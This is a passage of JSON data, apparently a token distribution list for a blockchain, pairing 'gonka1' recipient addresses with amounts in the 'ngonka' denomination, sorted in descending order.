{\n \"recipient\": \"gonka1mennxsd8zj44rsmlajyv5ygflke4hqhlpvx36x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"99112729540\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ya8us8ezzpppg5ncy7z0n6e43hn4z268vgqvh5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"99087685606\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10ujznhjy9m2chl05dvjhvf525202yz8hwkzsqu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"99080710750\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10r5p7vd7sw6tthp0nuld8yajvpgufamrd63epk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"98853788734\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r4qetzmw4g3aenwtcxpdm6l42aeq5gzwqltn39\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"98841091076\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ap3tj4grfc000wqyxw8hna7aa96xkd65gfq4fs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"98600587026\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mjjaep4d3vt9myh96zrslx6cet5qr0xvd9zqg3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"98365224243\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zn4ey6xqym4vzr6s8trtu65n9wez648fysxz67\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"98152946833\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fujc399fxp9pjrjvd0ymjjk3rzsgl4raq20pg6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"98146886859\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14g5nf5z695era59sz6zat5mv7n4w73vp26cgx5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"98046972854\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1707yvgk9wgpzrp35wd84mcps4pujelx36n5du9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"97633080910\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ach2c5kms3ds2728a7dlqwsgddftxljsefxd3u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"97318831010\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pdk0x9w50zsym389jlkhp6skdzx480m2p8ymvc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"97288189733\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a8u5zzrmhhdz7hp4gk3lmpltrwq90ley2cn5ef\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"96908898986\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mjk8kvkr34vm974s0hmjuanrzv8y4fj3r8fjjm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"96665741850\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1djqnccng4mece9p7kpyh588thq6hzt3vk2fmln\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"96631310149\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v765pascdp3v6qqtpdrcqm8qwdwq4hxa85gu5z\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"96463736476\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y58p9p64g0hu6uct73qhnpwlgum9t2fjjqmu4j\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"96403504140\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gxk3xjg43ryaht8ze0395m7ph4879gmsfd5emu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"96378122086\"\n }\n ]\n },\n {\n \"recipient\": \"gonka160q92s7d63d3gtcx5lmdxu92uf8fjqut0v622k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"96131889143\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dmjrdj39n950jzcxqw6zqa7vhtg945gqu5tfhm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"95900252568\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16cstfwxnuv08zpyalmv38e48crhe8a9pft7etg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"95852808244\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16uc05mvmja22zxgljh6fs82533w805h5ya3nzg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"95099239123\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zepcpcnw6qa45k38muhgavzflelun6rh5hu35k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94985993363\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zzkxnpq2txntwh5eu49jk67x42yh8wystnkamy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94948040978\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1udx48lyqzrc2ygpkzjq6wthh3ejm6x5cytvxjh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94914864372\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zhqp9w6nq9sexnew3pg9auqhz85dm86ght6sz0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94865153257\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xycg2mc0ktaz4372q4ln3f0thefk86shhguk0w\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94740499656\"\n }\n ]\n },\n {\n \"recipient\": \"gonka135jr9e2gyzq5lfqvc9tq8n0k3c398dgmmwy835\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94453083418\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rpszx3te4396yyplpl7lmcqngcwtk5vw0t57ym\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94213445288\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13qk3jur62xvma480z767lc0ks8c8esc28nxmvt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94200923689\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h4ajcmsuzuwxx8h9h3vwcn4gr74ld99cxkfux7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94145274686\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zaklf2yedw6my8lw6vt797vzpn67qeusj5a6zl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94027646763\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1n3xkj998f4q6lf62v7hw7r07jcwaer8xlmjrww\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"93814425565\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r9u4nyprt7ym64pdea4a7wpjf446c0zsmphqx9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"93814268546\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jjredx8nvy86dcae5fhpvge0kmamdxx2h7dr9h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"93360669761\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nuhz5kqnmxs3dfd884hdv39kdy2854lff8ma8c\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"93139084616\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sn2fuds6qh5dhrdp7afdyepmr6lcpwvsuwzlye\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"93076148574\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tvgem50n2xna9apg29wm0ts5rjmjxj0zv23t69\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"93040772174\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12fnudtsmw6heu6t982rnk8c5lgpgz4wmvwd75s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"92917832759\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fp444xd5027mzhx0tnlxkx6euczhp9glt5f09a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"92870034734\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w0vl46tr786vdtgtk5fyadnsqtl8pyc8cf7txy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"92334898742\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mt6fz28j7rls3psgspaq0xhj862wlklgcat6am\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"92230277903\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ylhpz2dd9f6x6apkzr773yw0kaagkhpaph86qn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"92052863940\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r4zuhduduwqzyw4a5y5y5aw57sj9jl56qpp7pk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"92046884335\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14ntugumwzhdlkc66qlzczdmfa02fcm4pcldtwz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"91978374358\"\n }\n ]\n },\n {\n \"recipient\": \"gonka182wjthlm5zdkwpcc3x5cfy83sel392ljwufsz7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"91796190843\"\n }\n ]\n },\n {\n \"recipient\": \"gonka180h3x4dv834pyn2ua3k596hrsk7d2l5utljtg6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"91623762432\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14r6ypa2jngcd8pwt22f2nwdhlt2s3cxr4k9xne\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"91578702172\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12gmwdxjwyqs8y2cxjzrnza8jtf2pyp34udp893\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"91160224704\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qfq964gewr83f4vh26qz25hl8na7kmvy93j3el\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"90860100796\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p8g3rh58seh553lqywe6rz7ratkm0j4p6kxs3q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"90805078088\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jr3644x2p5j90yl3jpyuvfrp28l37vpvkjq2yx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"90782290218\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ezpg20aga2mv3avkda2zqh5nh8jys9pg0q2cnq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"90775814301\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17ftklmd8esnj47nr7dg7c5c6wujvqxqjv03774\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"90714808880\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1e9vdm8ny7saz4n7yx7hng8hvdj0nu85v4edgnr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"90592471780\"\n }\n ]\n },\n {\n \"recipient\": \"gonka124hmlh3500ysl26n25nlfsgnj0hxuvy9cwcrql\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"90461276907\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18vdcv0y6ms6xgvvvt7mrfnd3drqte5qhwcx9z4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"90171717711\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j6ddjngvwy3x0yze36nks8dvlqdep9fxaj67tv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89957741125\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wcqxjxzjsfwvaxl3l24qzemjlf0e8nextxhv8j\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89880996129\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a90lj3ks0fg7mxrvqy7dx4g09g72hrlndpmwsj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89781778806\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hqwgkck88d5wnpea0y9dn0gxmyg4rwjgcnvacf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89749374453\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17mw34tnvce5jg8s2lrn07556guh7yj25dgm4pf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89631346745\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u7l9jg4krgl8kpu9lc2ml8hscjhmyrgtv6nd2q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89550533869\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y9vdzmy84uy9c9dgqx8adnusg3ssv7wjmscga8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89464227627\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19gua58wyw5q5r2zqfnzj8srrftk4wy5kewszue\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89249641302\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r2366aa7ql8t9welxtxpjvzwknzpgzkqqssuld\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89171932070\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xspavhncfmlpsllpfajs3r5623a4s8tcumrmwa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"89095259493\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18camnxdy5vc2x6752dqter77a0gjjwxg3k5ece\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"88361666090\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ts6k67zt064z87rx9hztm93cd3yh5mkqje6z4c\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"88233756172\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qcamnqy86hqzcatvlgr78mvgmpcc25ms40pdj2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"88140042305\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ktd5rha9hghm4hzt2eyc8v2p6g66a0zmry07qh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"88100124152\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l5y7amaux93wgd60wn0446h97ezl3vjd6sy025\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"87851457797\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1eujeuwxcv5skh3pv6njzjcjs53pfafcun307eg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"87631863329\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sycnmyd9rfw0gptt3s604mg9zgpvhg05lgag4m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"87040314540\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13fpvt243g8sh87ere5avz74qx5qj7vzesr0p4j\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"87031978353\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j6muv0n8023gm7aapthnrf0g3a86w6hg98wgcu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"86957076905\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10snluhflqhmwl5xrpuy9ugevypxdjjsft370fq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"86248504694\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19h06zf4dmh2qgcdj90cthnw85vpz59cusa72yj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"86082840435\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gxue6uufgvh6dgjexqvsv7ph99k8wkatafymqw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"85650539447\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x27t7qzmphupfz88ysycct97m49z2e27khhsw3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"85580796539\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g6x8ffcysdfju6anvt7we6u2e80fl7pgzjmk99\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"85576402054\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m0ftrwltdf7dntqhx9juwgadzyl2h4m3sm77zj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"85261614159\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10000627dkz6nvmf09ctqy073v0fls696uznwgg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"85195742182\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xl56zt2c2ahfuk0u68x084avulmth95lptx9cs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"84075875465\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qncqtrf48qrttfwd2s3j42dfnanyvcg6cvwyzs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"83289011476\"\n }\n ]\n },\n {\n \"recipient\": \"gonka185kz5j9ur5jczu9wf2vful353vg3eahm77n39x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"82904464621\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rpdnweugm7ykl7hy4p0qe858m9fvkgdm9k5m3g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"82676318325\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x9qndq86jt6x8r5pqx4hlx92rl0x3qu2hn2d3r\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"82461286603\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a3qq9jmmhr9xyn8p56v5hzfeuxp9r68suv6uhy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"82204026961\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qc0ygywfl626jmy2ccq9a0swt9zr3p39vf4xwq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"82040544704\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j4pnudv2z7wtfn0l83glqv8x7shtkcustzca40\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"81950403605\"\n }\n ]\n },\n {\n \"recipient\": \"gonka199lgrq8l9xcqqnr0agajzl78c4dpfvwnsc4elm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"81906401738\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u33ffwp7rswdy9upkxrgq726gk42z8qyqkv3rz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"81393348557\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xccz7s9k0mhys2uuyaqjsnn2wm90uv3lrh7s4r\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"81323872273\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lyafw67ys2ft7t4npn7y940696r38kfn9k6xlh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"81313899110\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fnwznrjccpukhe3u5dnqqnr02nhr5hq89jhghs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"81148339233\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l2pu0eqvsah7ap5hy6rdn6dxse37wy6cy4k2ef\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"81013936463\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mu29dgr7yx6l3x46c535p2aymzp0hns2fpz5e3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"80695586398\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pq5f5c4k8qn7k73qkzza460y435r3dusaxytys\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"80636595060\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1auert95hm33pzvzau2pe2ft62krx7d39ypknxm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"80467028178\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18wn7au6ezwnswn9jaqhjkf7wa9plrppd0ufz3p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"79811207133\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c3wplss6ju6fc5mhp0dg4lc7lhvkyrvjg28ejl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"79442825338\"\n }\n ]\n },\n {\n \"recipient\": \"gonka138qmc42pq75mxf3r3fh9k35ukvj9frmvuc7f0p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"79104869230\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17kua4qvnfmedl4atk2e03gjlgm42qxckef6uhw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"78966317577\"\n }\n ]\n },\n {\n \"recipient\": \"gonka165pppmxfxxzu4dn33twqwq2rz5cnem2srprlnn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"78501576885\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mhmedjwqt6gsx8urpwehyhud5klxxra2r6cgy5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"78191452363\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ucxu8fuqv5vt8rrwrmt45lkjx5u3e99ajtgv4h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"78024194907\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rz9h38uuyxvfhgh9jrdc8s2gjjcsex36xsvl2l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"77833473263\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g2sspwpvsetwxmwjyp5e4pe2e67clkfpc3sfld\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"77383886748\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kadhltjszhue262r7z7khldv90ru8cvy42zv29\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"77216401578\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r4cnahcpv6kktwcg795lnqwx5q74fmawsasg75\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"76804234728\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qx4f2vzhccv0ndhssfgafvf55xf4smuzjmkvky\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"76484009057\"\n }\n ]\n },\n {\n \"recipient\": \"gonka149q5us80a94u45uuedufucdmn8ud5xq4de9g9e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"75888387094\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d5nh80xxh7fkf0hmqlxqfq6vls8cq3j0fgg8f3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"75670029934\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tdgnyws5p4ddg2wsg08tmdwggfxpp6e4ev29yc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"75487213864\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gyydhl9lp0udz3409ps0c0lk0y4ft8qcyv8tfq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"74670879328\"\n }\n ]\n },\n {\n \"recipient\": \"gonka105fgwnqwd72m685xcalvvsdyzmf59khq607rlx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"74655472026\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15nkz4dxslphkty92y0c8m9umule32g9n5e5wvm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"74224656430\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16gu0el3h5p572lswsmldyg358apqphcxsdfuq2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"73664304515\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c3jmrfkysvrlgv9av98wlyq4yed3x7uue0wvy2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"73495720908\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15rvksn9gxgpszyr8270cd4wj2x3d460r394uv4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"73364273374\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cgf6pmcnkf54rctpgzpx6j32zeut8udm0rr8rf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"73039999876\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1psgzz288a434dv6863ldd73xma70zw7387muj2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"72928738056\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ql9asemklpkpr2d4mh33xw5gj0g5tm0v98c5q3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"72928738056\"\n }\n ]\n },\n {\n \"recipient\": \"gonka179g6jf5uulrufkhwlymsmwwu93r0j2qvpkdh53\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"72432731038\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v9r9a4rnmqqvz3h8fzc72aj80j0pma340f45xk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"71749717564\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12chgl62wfzvkvjwj7mz568ct7xyzdaa0ld4d8c\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"71580103440\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1adacqpq6z6sg9qqsy4f0p02p0sfn2f6n6dldae\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"71080597479\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13x8n3ttss76js4f86maeck6uey5nklvy6lvdnw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"70873731290\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cnnxxev6yaauzarywk6n6vcs0ej0jygwvff9xz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"70139978358\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1thdyumjevc50uf822fzk6ypmychmvsdqu6wnnz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"70006055624\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1myknj5jphyt8tlrgzf3zs4a66m4x2httq627sd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"69808784200\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10ekkjpyfad6265m2502d4tp3n8yp9n0d7rlzk4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"68295169799\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10prje5tj49lek50dpch085f66crl62sut2n0vw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"67445879840\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qhzauckmv78r9wpsr6lvjku5g70hmktgv2ku7d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"66900282591\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cmlns93pn4ddkn9rz4lqcedjacwg6t6vxcdzjk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"66738741782\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rvjfqzm8spt5nfq84jvfdr8we8pgkv8ent08s5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"66694599285\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18zgw37evwkpes7redzgh79pjy77rkv5hx4xpz7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"66681318749\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k7qxl4aqv4yu2we32v08wxac6hpuzp9z535sxt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"66666998214\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ggr0m6pm98pdgm9tacqekclaavm6jgqvxespaq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"66088918807\"\n }\n ]\n },\n {\n \"recipient\": \"gonka144yh00dcckkpfwr5mv9yz2cpa68c8sw0h3c6cy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"66021237930\"\n }\n ]\n },\n {\n \"recipient\": 